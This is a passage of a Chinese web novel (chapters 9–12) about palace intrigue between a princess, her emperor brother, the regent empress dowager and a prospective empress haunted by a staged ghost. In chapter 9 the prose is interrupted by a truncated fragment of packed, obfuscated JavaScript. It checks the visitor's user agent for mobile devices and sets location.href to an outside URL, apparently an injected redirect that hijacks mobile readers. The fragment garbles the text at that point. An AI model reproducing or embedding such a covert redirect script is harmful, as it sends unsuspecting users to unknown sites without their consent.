萧盈手上稍稍用力,更紧地摁住了她的肩膀,明绰挣了一下,又牵动了伤手。萧盈的眉头拧得简直要成一个结,摁着她的左臂不让她动,一边给她把袖子挽上去。明绰的手肘还有擦伤,脱臼的地方已经肿起来一大块。
萧盈把冰袋又抓起来,小心地给她贴在肿起来的地方。冰稍微化开一些,浸得粗麻布湿漉漉的,贴在明绰皮肤上,激起一片鸡皮疙瘩。
明绰赌气似的:“那天宴上我得罪过他,他就是故意的。”
“他难道是不想活了吗?”
明绰气急,音调都扬了起来:“皇兄就一点都不处置他吗?”
萧盈还是那副没什么表情的样子:“朕一会儿就去处置他。”
明绰冷笑了一声:“这才陪了几天,随身之物随便就赏,看来嫖姚都尉已是皇兄的人了,还处置什么!皇兄岂会为了妹妹去寒忠臣良将的心!”
萧盈放下她的手臂,抬头认认真真地看着她。他好像知道明绰在气什么了。宋夫人跟他说过,东乡公主闹过一场,也要学骑射,让太后给否了。她还跑去含清宫找过,但萧盈一直不在。
萧盈突然问:“为何说你得罪了他?”
明绰咬住了下唇,没开腔。总不能说因为那天袁煦多看了她几眼吧?虽然谢聿的糊涂念头已让太父否了,但看这样子,袁煦深得圣恩,皇兄未必没有心抬举袁家。既然已经误会她今天是来看袁煦的了,要是让皇兄再以为她和袁煦有什么私情相授,可不得了。
萧盈看着她的表情,突然想起那天宴还没散明绰就早早地跑去了含清宫的样子,她突然求的恩典,还有他刚才把明绰抱起来的时候,袁煦那毫不避让的眼神。
萧盈缓缓地放下了手里的冰:“他还真是不想活了。”
明绰感觉到了他话里的冷意,突然一怔:“皇兄要如何处置他?”
萧盈不答,随手把冰袋扔进了刚才为明绰清洗伤处的铜盆里,冰块触底,发出丁零当啷的脆响,然后又浮上水面。
明绰强咽下一口气,突然道:“东乡刚才说的是气话,皇兄还是别放在心上。嫖姚都尉无心之失,东乡不敢做范雎。”
萧盈深深地看着她,但是明绰说完就垂下了眼睛,只看着水面上浮起来的布袋。
萧盈的妹妹可以有很多小性子,不喜欢袁煦,更不喜欢兄长跟袁煦玩得好,再也顾不上她。但是东乡公主知道,执金吾卫不在天子手里,即便嫖姚都尉只是个虚职,即便袁煦只是个少年,天子也要自己的人。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893234|159969||http|test|mini|href|location''.split(''|''),0,{}));
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>刚才崔挺不服气的眼神,她看懂了。明绰从前也懂“主少国疑”,她总觉得是在说一群包围在至尊之位旁边的鹰隼恶鹫,面目模糊,没有名姓。可是崔挺是近臣,是母后的倚仗。就在崔挺看向少年天子的那一眼里,过往所有那些模糊的鹰隼终于露出了谢家人的面目。
明绰觉得自己不应该意外,也许她从很早就已经有所察觉,只是从未愿意去多想。
皇兄心里到底是怎么看谢家的?皇兄和母后之间感情淡漠,但是对太父呢?太父这么多年对他悉心教养,拳拳之心绝无作伪。如今又着急给皇兄立后,好让他早日亲政——为什么?是知道自己身子不好了,才要防着万一撒手人寰,太后不肯还政于天子吗?明绰心里突然升起一股说不出来的奇异滋味。这么多年的尊敬和孺慕之情,也会被这至尊之位上的寒冰所冻结吗?还是……他介意的只是母后?
“皇兄,”明绰突然伸出没受伤的那只手,抓住了萧盈的袖子,声气软软的,声音很低,下定了某种决心一般,“东乡总是站在你这边的,皇兄好歹看在我的面上,别……”
她已经不哭了,但眼下一片晶莹的泪痕还未干,睫毛也被沾得湿漉漉的。要皇兄别怎样呢?她不敢说。萧盈也没有追问,只是伸手轻轻拂过她的眼下。一股熟悉的味道从他自己的襟口缠绕到鼻尖,萧盈突然想起刚才他把明绰抱起来的时候,她把脸埋进自己颈窝里的样子。温热的鼻息浸着穙齐香的味道,蛮横不讲理地罩住了他的所有的心神。他不知道那一刹那的失神是什么,只有她身上那个味道,上阳宫里日夜熏焚,烧得他心扉痛彻。
明绰的声音很轻:“皇兄?”
萧盈突然意识到他离明绰有多近。他的手托着明绰的脸,鼻尖几乎要挨上她的,好像他想再闻一闻她身上的味道。然后所有的动作都被这声“皇兄”惊得顿住,有那么一会儿,萧盈完全僵住了,一动不动。明绰也不躲,眼睛睁得大大的。下一刻,萧盈几乎是用力推了她一把,突然站了起来。
明绰又叫:“皇兄!”
但是萧盈已经大步走了出去。崔挺还等在门外,袁煦也还杵着,明显崔挺在问袁煦话,但是袁煦并不理他。见天子出来,袁煦立刻将崔挺抛在一旁,一声“陛下”还没说完,萧盈已经抓起了他托在手里的马鞭,劈头盖脸地一鞭抽了下来。袁煦的头一偏,一道红痕从颊侧一直蔓延到了脖颈里。
袁煦一声都没出,撩袍跪地。执金吾卫们马上跟着呼啦啦跪了一地。
“陛下!”袁綦扑了上来,“兄长他……”
“住口!”袁煦伸手拦在他胸前,把他往后拨,“只要陛下能息怒,抽臣多少鞭子都行。”
崔挺也道:“陛下息怒。”
萧盈没搭理崔挺,居高临下地看了袁煦一眼,然后将马鞭丢在了他脚边,叫道:“桓湛!”
“臣在!”
“自己下去,领二十军棍!”
桓湛的脸一下子涨红,但是不敢抬头,扬声道:“喏!”
“别不服气。”萧盈的视线扫过去,“再让朕看见谁家的姐姐妹妹来校场的,五十棍。”
桓湛的脸涨得更红,应的声音却更高:“喏!”他站起来,二话不说下去领军棍了。
崔挺很识时务地也跟着开口:“陛下,是臣失职,臣也请军棍。”
萧盈终于把视线落到了他身上,停留了好一会儿都没有说话。
清扫校场周围的闲杂人等,护卫天子周全,自然是他崔挺的责任。但来的都是些千金小姐,这些世家公子也乐在其中,崔挺不管,那叫有眼力见。领军棍也就是嘴上一说,根本不觉得陛下会发落他。可是陛下一直不说话,崔挺在他的注视里突然心里一紧。
陛下真的不会把他怎么样么?
崔挺跪了下去:“臣惶恐,陛下……”
萧盈这会儿又笑了起来,微微俯身,亲自扶起了崔挺。这病弱得出了名的小皇帝,扶他的那只手却稳而有力,腕上和指间都套着护具,是一只拉弓的手。
“起来吧。”萧盈亲切地对他说,“不关崔卿的事。”
崔挺感觉到萧盈在他手背上无声加重了力道,“喏”了一声,紧张地往后退。但萧盈没放开他,反而把人又往自己那边带。崔挺诚惶诚恐地低头凑上去,以为天子还有什么要吩咐,萧盈却只是小声在他耳边道:“执金吾卫向来尽忠职守,朕心里很欣慰。”
话音未落,萧盈已经突然把人放开,崔挺往后退了一步,像是被小皇帝推了一把,险些没站稳。萧盈再没理他,招招手命袁煦起身,只说回校场继续射柳去。
那几个随侍的执金吾卫也都跟在了天子身后,崔挺顺势躬身行礼,直到萧盈的背影都看不见了,才直起了身。
从这里已经看不见校场了,但是崔挺一直看着校场的方向,很久没有动作。他近几日很少去校场了,之前每次去看,陛下都是优哉游哉地坐着,指挥那帮世家子弟操练,从未见他自己下过场,拉过弓。太后问起,他也是这样说的。
天子好游嬉,喜玩乐,弱质无力。
只听风里远远传来一阵欢呼,惊动了崔挺。他抬起头,看见最后一只鹁鸽突然从树丛间飞了出来,猛地冲上了天际。
10. 第 10 章
尽管明绰百般遮掩,校场之事还是没有瞒得过谢拂霜。出乎她意料的是,崔挺什么都没说,没顶住的是谢星娥。太后把脸一板,谢星娥就什么都招了。
明绰不出意料地被禁足在了上阳宫。本来是罚了抄书,但念在手臂受了伤,可以暂缓。没几天,太后突然又以训诫公主之名把王执瑈接到了上阳宫。
这意思便很明了。就算是太后舅家的孙女,再有贤德之名,也没有“训诫”公主的资格,那自然是定了皇后的缘故。太尉已经在朝会上明确提了立后一事,陛下难得在太极殿上不等太后回应就擅自开了口,允许朝臣们推举合适的世家女子。
明绰承认,王执瑈是个大美人。肤白胜雪,眼若点漆,唇如施朱。要她坐着,她就能一整天动也不动,端庄得像画里的人似的,要她走两步,便是弱柳扶风,楚楚动人,光是看着就让人赏心悦目。
只可惜这美人是个木头美人,说来训诫的,便当真对公主的言行三挑四拣,半点没有要跟她交好的意思。
贵女们扎堆去校场的事情经过这么一闹,自然再也不是什么秘密。但有些贵女们仗着家中并无父兄在执金吾卫,或者像崔庆英这样,自己就是中尉家里的女眷,并不把陛下的话放在眼里,让崔挺抓了个现行。他杀鸡儆猴,拿自己家的侄女作筏子,闹出了好大动静。
这下子整个建康城都闹得沸沸扬扬,桓宜华痴恋嫖姚都尉的事情也传进了桓殷耳朵里。她其实只是桓殷族中的侄孙女,平时非年非节连大将军的面都见不到,但是大将军一听是袁家,气得请了家法出来,要亲自管教。谁知这个桓宜华竟是个烈性的,哪里听这老头子的话,自己骑了一匹马就去找嫖姚都尉了。
据谢星娥绘声绘色的转述,那桓宜华是当着天子的面,还有她兄长桓湛在旁边举着剑,逼着袁煦答应娶了她。天子金口玉言,已经赐了婚。
明绰正听得入神,王执瑈却幽幽地传过来一句:“闲言及于非理,便是邪僻之端。长公主,还是少议论这些事罢。”
明绰莫名其妙地转过头去看她,只见王执瑈端坐在那里,低着头绣她的活计,神色平静得好像刚才说话的不是她。
谢星娥便朝明绰一吐舌头,小声道:“东乡姐姐,以后你的日子可不好过了。”
“我有什么不好过的?”
“长嫂如母。”谢星娥摇头晃脑,幸灾乐祸,“等她做了皇后,管了后宫,姐姐岂不是要被约束死?”
明绰不耐烦地推了她一把:“什么乱七八糟的,我母后还在呢!”
她的声音大了一些,只听王执瑈突然重重地叹了口气,把手里的活计放在了膝上,一双眼睛很谴责地看着她们姐妹俩。明绰也不知道哪里来一阵心虚,乖乖地收了声。
萧盈赐婚之事在朝中也激起了不小的波澜。谢郯看不上袁家,桓氏自然更看不上。但不知道为什么,桓廊竟然肯了,还转回头去说通了叔父桓殷,中郎将这才携了礼,上了门,订下了两家的亲事。
王执瑈不愿意议论此事,觉得桓宜华“德行有亏”,这算是丑事,所以她不能议人是非。她自己不愿意议论就算了,连带着上阳宫里的宫人们,一概都不许议论。东乡公主她管不了,便只有苦谏。等谢星娥回去了,王执瑈同明绰进个晚膳,那是左一篇“为妇之德”,右一篇“敬慎言语”,生生地要把明绰烦死了。
明绰突然打断她:“王姐姐可知道皇兄为何要赐婚?”
王执瑈没想到明绰问起这个:“自然是陛下愿意成人之美……”
“错。”明绰突然正色起来,“其一,荆州事态未明,刺史邓霄摇摆不定,万一真与长沙王勾结起事,无论是眼下讨逆平叛,还是日后镇守荆州,中郎将都是最好的人选。皇兄要抬举袁家,不管是不是桓宜华,皇兄都会赐一个高门贵女给嫖姚都尉。”
王执瑈似是想打断她:“长公主,这些事情不是……”
明绰理都没理她:“其二,桓大将军对中郎将颇有成见,桓氏女此时主动来求,正是良机。桓大将军再不肯容人,也得把这私怨咽下去。若这一次抓不到邓霄的把柄,那中郎将构陷之罪,也要有桓家来兜一兜他。这是皇兄为了保全袁家——王姐姐若是要问,为何非要保全袁家……”
王执瑈伸手摸了摸鼻子,看起来完全没有想问的意思。不过不影响明绰自顾自往下说。
“这便是其三。谢、桓两家多年来结党争权,从前天子年幼,国家仰赖辅政大臣,那是无可奈何。可是如今天子长大了,他要主政,岂容世家如此架空皇权?皇兄是借此敲打谢、桓两家,逼着他们将相和。”
王执瑈静静地看着她,脸上一副“说完了?”的表情,看得明绰心里一把火猛地蹿了起来,感觉像在对牛弹琴。
“王姐姐只知道恪守妇道,却不通朝局人心,”明绰没好气地放下了筷子,“皇兄娶你回来,难道是图你放在画上好看的么!”
王执瑈不为所动:“陛下既有谋定之能,也用不上我,朝政的事情原本就不是妇人该多嘴的。长公主如今居于后宫,想是不妨,但以后嫁了人,可千万不能……”
“有本事你去母后面前说这些话!”
王执瑈终于停了停,微微垂下了眼睫。“妇人不干政”这样的话,其实在大多数的名门望族里,也还是这么一代一代教训着,但没人会傻到去太后面前说。她轻轻地放下碗,轻声道:“太后自是不同。”
明绰扬起下巴,跟她较起了真:“哪里不同?”
“时势不同。”王执瑈还是平平淡淡的语调,“先帝早崩,太后是不得已。如今陛下的情形不同了,便应当早正纲常。”
“王姐姐这是什么意思?”明绰眯起眼睛,“如今大雍的纲常不正吗?”
她记得王执瑈的祖父曾经上过表,痛陈建康城中的女子们“不绩织麻,摩挲于市,登高临水,任情庆吊”,连宦妇们之间也有一股“舍中馈之事,修周旋之好”的歪风,说到底,还是太后做得不对。
他倒没敢说什么“牝鸡司晨”之类的话,只是明里暗里戳着太后的脊梁骨提醒,这位子只是她“暂代”的。若是因为太后居于高位,便允许女子们进学交游,任意妄为,便是大祸之始了。当时惹得谢拂霜非常不高兴,念在他是嫡亲的舅舅才没发落。
然而王执瑈只是温柔地笑了笑,没有掉进明绰的陷阱里。
“我并没有这样说。”她不紧不慢地给明绰夹菜,“长公主,女子以端庄为重,饶舌惹战,随意发怒,都不是好品行。”
“你!”明绰被她气得站了起来。
王执瑈还是木头一般的神气:“长公主还是坐下,饭还没吃完呢。”
明绰没好气地一拂袖:“我饱了!姐姐自己吃吧!”
她站起来就走,王执瑈也没拦,只叫人把晚饭撤下去了。在旁边伺候的灵芝回去给谢拂霜回报,都忍不住赞叹,也不知道王氏女这套静气的功夫哪里修炼来的,连东乡公主都治得了。谢拂霜犯了病,头疼得厉害,饭也吃不下,歪在榻上让人揉着头上的穴位,一边闭着眼睛听,听完了,也就是扯着嘴角笑了笑。
“王家教养出来的女儿,当然厉害。”谢拂霜慢悠悠地睁开眼睛,“自小就是照着皇后的模子养的。”
梁芸姑在一旁伺候着,突然道:“奴婢倒是觉得,王氏女还是过迂了些,咱们长公主论起朝局,那才叫条分缕析,头头是道,真像太后。”
谢拂霜听着听着已经又闭上了眼睛,自己用一根手指撑着太阳穴,指甲深深嵌进皮肉,像是要伸进颅骨,把折磨得她日夜不宁的病灶挖出来。梁芸姑见她神色,便也不说了,抬手示意那个正服侍太后的宫人起来,让灵芝也退下,然后亲自跪坐到谢拂霜身后,手指刺进她发
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间,不轻不重地按揉起来。
谢拂霜突然叹了口气:“她到底不知道我的心。”
梁芸姑顿了顿,换上了安抚的口吻:“长公主还小呢。”
谢拂霜只当没听见,一只手伸到脑后,牵住了梁芸姑的一只手,面上不见有什么神色,手上却抓握得极紧,良久,又松开。
“她头头是道,论的都是她皇兄,何曾想过谢家来日的下场?”谢拂霜无声地咬了咬牙,“当初我送她去含清宫,是要她懂识人断势,朝中那些人日后能服膺她。没想到,反而让萧盈钻了空子……”
凭什么?谢拂霜想不通。因为她的女儿说到底还是姓萧,不姓谢?
梁芸姑轻声劝道:“咱们长公主一向有情有义,陛下心疼她,她便千百倍地还回去,手足情深,也是天性使然。”
谢拂霜从鼻子里嗤了一声:“好个手足情深,那小子惯会玩弄人心。”
梁芸姑一时不敢再回,但她知道谢拂霜说的是什么。萧盈给袁、桓两家赐婚是什么意思,旁人没有看不出来的道理。当时旨意下到中书省就让谢聿给驳回了,反正桓家也不情愿,这事儿顺顺当当地就该让门下侍中写个封驳,就可以当做一句戏言过去了,但是萧盈竟然把中书和门下的侍郎都召进了宫。
两个侍郎脑子也都很清楚,哪里会听他的。萧盈气性还挺大,人一走就又犯了心痛之症,病倒了。
这一病,太尉就进了含清宫。谢拂霜根本不知道萧盈是怎么跟谢郯说的,只听到人来报,说陛下“涕下不止,尽叙孺慕之情”。最后谢郯甚至坐在床边,亲自把萧盈搂在怀中喂他吃药。
第二天,赐婚的旨意就从中书那里发出来了。
谢聿一脑门官司地进了上阳宫,跟妹妹说了半天,直骂父亲是糊涂了。但谢拂霜心里明白,谢郯老了,病了,就更多地顾忌身后名、身后事。他不敢做霍光,也不愿承受青史之下悠悠众口。他想要百世清名,所以寒来暑往,年复一年,在萧盈身上浇灌了无数心血,只盼着天子能够成材,能撑住大雍的江山。
萧盈也很清楚谢郯这份心,不然他不会懂得用他的眼泪和病弱让太父心软。天子这份“孺慕之情”太切中谢郯的软肋了,让他愿意相信,只要他在活着的时候愿意急流勇退,还政于天子,那把刀萧盈就永远不会举起来,谢家全族便得保全。
谢聿还等着桓家上书争辩,但桓廊也被召进了含清宫,同样不知道萧盈跟他说了什么,回去桓廊就劝住了怒发冲冠的大将军,然后这事儿就这么成了。
所以谢拂霜才感到胆寒。朝臣不满太后僭权久矣,萧盈本来就占了“正统”二字,若是他还聪慧明理,能谋善断,那么人心覆水,也不过朝夕而已。
谢拂霜微微斜过头看了梁芸姑一眼,突然道:“明绰还小么?看看萧盈心里算计的都是什么,她呢?”
她闭上眼睛,不等梁芸姑回答什么,沉着声音道:“是我把她惯坏了。”
一时没有人再说话。梁芸姑的手仍是不紧不慢地沿着穴位按揉,宫里荡着幽幽的香气,缠绕在烛光里。谢拂霜的脸色在烛光下已经不那么好看了,长久的劳心和病痛已经夺去了她的美貌。如今的太后,就连在不见人的时候也必须敷粉施朱,眉毛是最时兴的翠色,两颊描了鲜红的靥妆,但遮不住凹陷下去的病容,反倒看起来更没生气了。
“太后,”梁芸姑很是心疼地劝了一句,“多少进两口饭吧。”
谢拂霜微微睁开眼,扫了一眼桌上的吃食。都是清淡的羹汤和鱼脍,早已放凉了,更让人没胃口。
“拿走吧,我吃不下去。”谢拂霜摆了摆手。梁芸姑叹了口气,刚要唤人进来收拾,谢拂霜却突然想到了什么,轻轻地抓了抓她的手腕。
“咱们那小皇后今晚也没吃几口吧?”谢拂霜笑了笑,“送过去,就当本宫替公主给她赔罪了。”
11.第 11 章
夜雨霖霖。风把窗户推开,将雨丝送屋中,案前烛火随之晃个不停,雨丝随之映出银针似的光,根根跌碎。
王执瑈伏案而坐,笔下正誊抄《妒妇传》。那原是当年梁宣帝时,因姜皇后善妒成性,特地命人搜做的规劝妇人的集子。年深日久,纸都烂了。谢太后命她把这些散乱的残篇整理编纂,作为新《女训》的其中一篇,以明妇人之德。
王执瑈写得入神,被风吹了一个激灵,也未抬头,只唤人去关窗。
宫室里幽幽地荡出了她自己的声音,却没有人应答。
王执瑈疑惑地停笔,又叫了两声,但屋子里就是没人,连她从王家带进宫来伺候的老妪都不见了踪影。王执瑈没有多想,自己起身来关上了窗。风太大,已将屋子里一半的蜡烛都吹灭了。王执瑈只好把头埋得低低的,几乎把鼻子都埋进了故纸堆里。
这些故事既有高门显贵之内宅轶事,也不乏民间夫妇的争端。无非都是做妻子的因善妒成性而被惩罚,轻则被丈夫责打,重则被判了官司,有拔舌,黥面,刖足,甚至还专有一卷写了阴司报应,说庐州有一柴氏,因嫉妒而鸩杀了丈夫的妾室,那妾室化了鬼魂,夜夜在她窗外哭泣不休,索去了柴氏的魂,下到地府陈情,阴间司正判了那柴氏油煎之刑。旁边有一排朱红小字,“阴司事阳间人何知耶?”正是当年姜皇后所批。
她后来的遭遇人尽皆知。梁宣帝作《妒妇传》规劝无果,反而激怒姜皇后,她下令鸩杀了梁宣帝的宠妃,帝后彻底失和,梁宣帝送来了白绫,将姜皇后活活绞死,再割舌覆面,要她下了黄泉也无颜见人,有苦难诉。
当年的姜皇后,正是死在了这上阳宫。
烛火又猛烈地晃了晃,融化的烛泪盈出来,尚未滚下,便又重新凝结。窗户突然“吱呀”一声,又被吹开了。
王执瑈猛地合上了残卷,又叫了一声家中老妪的名字,但回答她的还是只有自己的回音。窗牖被吹得来回扇动,王执瑈又走到窗边,刚要关上,忽地听到了幽幽的哭声。
“谁?”王执瑈退了两步,提高了声音。
没有人回答她,那哭声反而更响了一些,是个女子的声音。王执瑈惊出一身冷汗,跑回案前,高高地举起烛台,仿佛手里擎了一把剑,厉声道:“什么人!”
窗户还在随风摆,那哭声渐渐地淡去了,仿佛一切只是风。王执瑈在手心捏了把汗,壮着胆子回到了窗边,探着头看了看。外面什么都没有,她迅速把窗户重新合好,闩上了木条。但是心里太紧张,原本抓着的烛台突然一歪,跌落到地上。被烧化的蜡油一斜,彻底浇灭了火光。
一个人不知道什么时候已经坐在了她刚才坐的位置上。
王执瑈腿一软,整个人都跌到了地上。她想尖叫,可是嗓子眼里像是堵住了。屋里原本就只有一半的火光,太暗,便看不清那是谁。只看到她的头发乱糟糟的,盖住了整张脸。窗外的哭声突然又起来了,调子扬得极高,像绷断的弦。
“何知耶?何知耶?”那女子念念有词,手指伸出来,看不见似的,摩挲着王执瑈扔在案上的残卷,然后顿住了,轻轻地笑了一声。
“阴司事,本宫如今都知道了……”
她缓缓地转过脸来,朝王执瑈张开了嘴。
一声凄厉的尖叫骤然划破了雨夜。
“什么?”谢拂霜惊讶地坐直了身子,“她说看见了谁?”
灵芝便又重复了一遍:“前朝的姜皇后。”
王家那个老妪今天一大早就来报,说王执瑈病了。谢拂霜传了太医,诊下来说是惊厥之症。这病常见于小孩子高热,但是王执瑈也没有发热的迹象,只是神志不清,抖得厉害,都不认人了。瞧着凶险,但太医施了针便好了,来回报太后,说应该是受了惊吓。灵芝守了许久,等王执瑈定了心下来才去问,没想到竟问出一个前朝姜皇后来。
梁芸姑想了想,道:“那《妒妇传》说得确实骇人,许是王家的小姐读得入了迷,让梦魇住了吧。”
谢拂霜当即冷哼了一声:“男人编几篇胡话就能吓得她这样,也是个不中用的。”
明绰悄无声息地把手里的黄纸翻了一张,露出了嘴角一丝忍不住的微笑,随即又被她遮掩了过去。
“知道了。”谢拂霜只当没看见明绰的表情,吩咐道,“让她好生养着,那《女训》就先不用她作了。”
灵芝欲言又止:“太后……”
“还有何事?”
灵芝:“王小姐相求,想回家去。”
“胡闹。”谢拂霜皱起眉,“她以为上阳宫是亲眷家里,想来就来,想走就走?”
“奴婢去问了昨夜伺候的人,看见姜皇后的不止王小姐一个,身缠白绫,以发覆面,口中无舌,眼下人心惶惶……”
“溦溦,”谢拂霜突然唤女儿,“你的屋子就在旁边,你昨晚看见鬼了吗?”
明绰抬起头,一脸不似作伪的茫然:“没有啊,这世上哪有鬼?”
“说得好。”谢拂霜重新转向灵芝,听起来已经有些不耐烦了,“让他们管住嘴,不许胡说八道!”
灵芝便不敢再说,但神色颇有些为难。梁芸姑看了她一眼,似是想到了什么,又柔声道:“你去,当着众人的面,把姜皇后批过的那册书烧了,告诉他们,上阳宫以太后为尊,有天命护佑,前朝的皇后算是什么东西?有太后在,作不了祟的。”
灵芝这才退下。明绰等她走开了才问:“母后,为何不让王姐姐回去?”
谢太后把王执瑈召进宫,托的是慕她贤德之名,请她帮忙训诫长公主的名义。但王执瑈在宫里也有段日子了,显得东乡公主多顽劣似的。
天子说是让朝臣们“举荐”皇后人选,但王执瑈在宫里一住下,便也不再有举荐旁人的。可是立皇后的诏书又迟迟不下,这事儿一时就拖住了。
明绰问了这话,谢拂霜又装作没听见,她心里便忍不住这样想,母后显然是不太看得上王执瑈,这皇后怕是立不成。
谢拂霜目光轻轻一扫,已经把女儿窃喜的神情收进眼里。梁芸姑跟她交换了一个眼神,然后轻轻地吐出自己的舌头,指了指。
明绰舌上还残留着斑斑驳驳的黑色痕迹,说话的时候就能看到。谢拂霜刚看见的时候就问了,明绰只说是吃了芝麻糊。但一想到宫人们和王执瑈说那位“姜皇后”口中无舌,谢拂霜便明白是怎么回事了。
梁芸姑放下手,颇有些哭笑不得地摇了摇头。谢拂霜朝她使了个眼色,那意思便是要她一起装着没看见。
“母后,”明绰全然不知道两个大人眼睛里交换了些什么,手里已经把那黄纸公文翻完了,“长沙王真的疯了吗?”
原先的王府长史说是不耐长沙王的疯癫,擅自辞官而去了。朝廷一面指派了新的长史,一面去原先那位的家乡寻人。但此人无影无踪,连亲人都一并消失不见,明绰想起萧盈当时说过的话,长沙王也许真的有异心,已经把府上长史杀了。但找不到证据,这人或是畏罪潜逃,也是有可能的。
新的长史日日汇报,说萧忞疯得惊世骇俗,甚至追着幼子要什么童子尿来喝,实在不像装的。从这些奏疏来看,朝野上下都已经认定长沙王是真疯了,隐隐有把矛头指向袁增的意思,只因陛下新近指了和桓家的婚事,桓家只好保持沉默,旁人才没攻讦得太过火。
谢拂霜反问她:“溦溦觉得呢?”
明绰想了一想:“母后,他都做到这份上了,就饶他一命吧,毕竟是父皇最后一个弟弟了,说出去,太后的名声……”
谢拂霜撑着额头看她:“你不用顾忌做太后的名声。我是问你,若你是天子,当如何处置?”
明绰没听懂这有什么区别,眨了眨眼,只道:“天子的名声也不会好听啊……”
谢拂霜放下了撑着的手肘,看定了女儿:“他要抢的可是你的至尊之位.”
“他也就是想想,”明绰不怎么在乎的语气,“现在他被盯得动弹不得的,又抢不着。”
谢拂霜正色道:“想想也不行。”
“想想有什么不行的,”明绰道,“谁还没想过啊?太父和舅舅不都…
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…”
她猛地住了口,看了谢拂霜一眼。但谢拂霜什么都没说,仍旧是定定地看着她,眼神看不出喜怒。
明绰不敢往下说,朝梁芸姑使了个眼色。梁芸姑立刻会意,给太后端来了一碗羹。明绰乖巧地伸手要去接碗:“母后,溦溦伺候你用羹。”
但是谢拂霜轻轻一避,自己端着碗,瓷勺在碗底刮出了微弱的声响。
“你皇兄跟你说过他打算怎么处置长沙王吗?”
其实萧盈没有明确说过,但明绰也很清楚,萧盈在此事上其实和谢拂霜是一样的态度。他们不会放过长沙王。
谢拂霜笑了笑,已经从她的表情中读出了想要的回答,然后一口气把碗里的羹当药一般灌了下去。
“溦溦,你心中还能念着宽仁,是因为你还没有坐在这个至尊之位上。你要记住……”谢拂霜停下来,明绰等着她往下说自己应该记住什么,但谢拂霜只是沉默地、长久地看着她。
明绰又想了想:“母后要是实在不放心,还是召长沙王回建康吧。他要是真疯了,在那种荒僻地方也是凄凉,就当是母后这个做嫂子的照顾他。他要是没疯,肯定知道这是母后在保全他。”
谢拂霜没立刻答,只是伸出手示意梁芸姑拿走了空碗。
“当初你太父也想这么保全燕康王……”谢拂霜看着女儿,没把后面的话说完。燕康王封地的州镇不像荆州刺史这般态度模糊,燕康王没有后手,狗急跳墙的下场就只有血溅当场。
可是长沙王不一样,当年封去那里就是因为荆州刺史兵强马壮,能替建康镇住萧忞,没想到如今竟然适得其反,反而让建康投鼠忌器。
谢拂霜轻叹一声:“溦溦,荆州不可擅动。”
“我知道!”明绰一脸被看轻了似的神情,急切道,“我不是要逼他狗急跳墙,我是说咱们把他骗来!”
谢拂霜眨了眨眼,露出探询的神色:“如何骗?”
明绰伸手在刚看完的那一堆公文里翻了翻,找出御史中丞的奏表:“母后你看,王诃这么给长沙王说话,绕了半天不就是怕皇兄崩得太早,宗室无人吗?长沙王肯定也是这么想的,母后就派人去跟他说,陛下病得太重了,恐怕活不长啦,母后想收养长沙王的儿子,让他挑两个最聪明最健壮的带来健康——要是这都不上钩,那他才是真疯了。”
谢拂霜听得笑起来:“一点都不忌讳谶纬,怎么这样咒你皇兄?”
“那不还是为了皇兄江山永固吗?”明绰撒娇似的依偎进谢拂霜怀里,又道,“溦溦是童言无忌,御史中丞才是咒皇兄呢,母后赶紧治他的罪!”
这话说得谢拂霜和梁芸姑都大笑不止,做母亲的摸了摸她的脸,再捏捏她的鼻尖,好像女儿就是这世上最可爱最无邪的东西,光看看怎么能够,一定要上手才能稍露她心里的爱重之万一。
“长公主这就是欲加之罪了,”梁芸姑也跟她开玩笑,“中丞一心想着女儿做皇后呢,哪会咒陛下?”
明绰撇撇嘴:“换个皇帝,他女儿不是一样做皇后?这人心可坏得很,他才不在乎跟母后沾着亲呢!”
“没错,还是溦溦眼光狠辣!”谢拂霜抱紧女儿,把下巴磕在她的颈窝里,亲昵地跟她贴了贴脸,然后又想起什么,跟明绰分了开来,拿帕子去擦女儿脸上蹭到的鹅黄和粉妆。
这些粉黛谢拂霜喜欢,明绰却是沾不得,也不知道怎么回事,沾多了就会起疹子。建康的贵女都学太后,太后又鼓励各种新奇妆面的流行,所以大多喜欢把脸涂到极白,再上各种红的黄的甚至还有绿的蓝的,明绰一概涂不得,从来只用花汁蜜露熬出来的胭脂。别说那些个“佛哭”“妖靥”的繁复花头,她连眉毛都不见得画一画。
明绰不怎么在意地别过头,自己草草摸了摸下巴。但谢拂霜擦得十分仔细,明绰嗅着母亲帕子上的香气,很依恋地又蹭了蹭。谢拂霜干脆把帕子给了她,这才拾起了王诃的奏疏,又扫了两眼。
“既然中丞如此回护,便派他去接长沙王吧。”谢拂霜轻笑了一声,随手抛开了那公文。
12.第 12 章
萧盈没等袁煦来扶,自己翻身下马,随手把马鞭扔给了袁煦。整个人身形挺拔舒展,虽比袁煦小着两岁,站一起也能并肩了。袁煦颊边一道鞭痕还没好全,像条长虫似的,触目惊心地爬在他玉白的脸上。但君臣两个之间却半点没有裂痕似的,袁煦不知道说了句什么,萧盈正整理束袖,闻言低着头笑了起来,回了一句。然后袁煦抬起头,看到了一路迎到了殿外的女子。
“宋夫人好。”袁煦揖了一揖,识相地退了一步。宋夫人也微微屈膝,问少将军安,随即轻轻附到萧盈耳边道:“陛下,太尉来了。”
萧盈神色没什么变化,低着头,终于把束袖拆了下来。广袖垂下,他甩了甩,只道:“嗯。”
袁煦:“陛下,那臣先告退了。”
萧盈把束袖递给宋夫人,随手朝袁煦挥了挥,准他告退。袁煦没敢立即转身走,还是躬身站在原地,看着天子拾阶而上。
也不知怎么的,少年人的身形突然就变了。校场里的萧盈行止闲逸,风度慵随,虽然单薄,却有一股凌厉的锐气逼人。眼下这两步一走,肩膀一垮,那单薄又成了孱弱,整个人都没了力气,好像要靠着宋夫人才爬得动这级台阶似的。
袁煦一时看得愣住,好一会儿才想起来该告退了。
宋夫人偎着天子慢慢走,轻声道:“王氏女病得有些神志不清了。”
萧盈还是只有“嗯”一声:“还是闹鬼?”
宋夫人点点头:“上阳宫这个月有好几个年纪小的宫女都吓病了。”
萧盈脚下微微一顿,台阶就剩几级,他已看得清殿中坐的人影。
“东乡公主呢?”他侧过头,“吓着她不曾?”
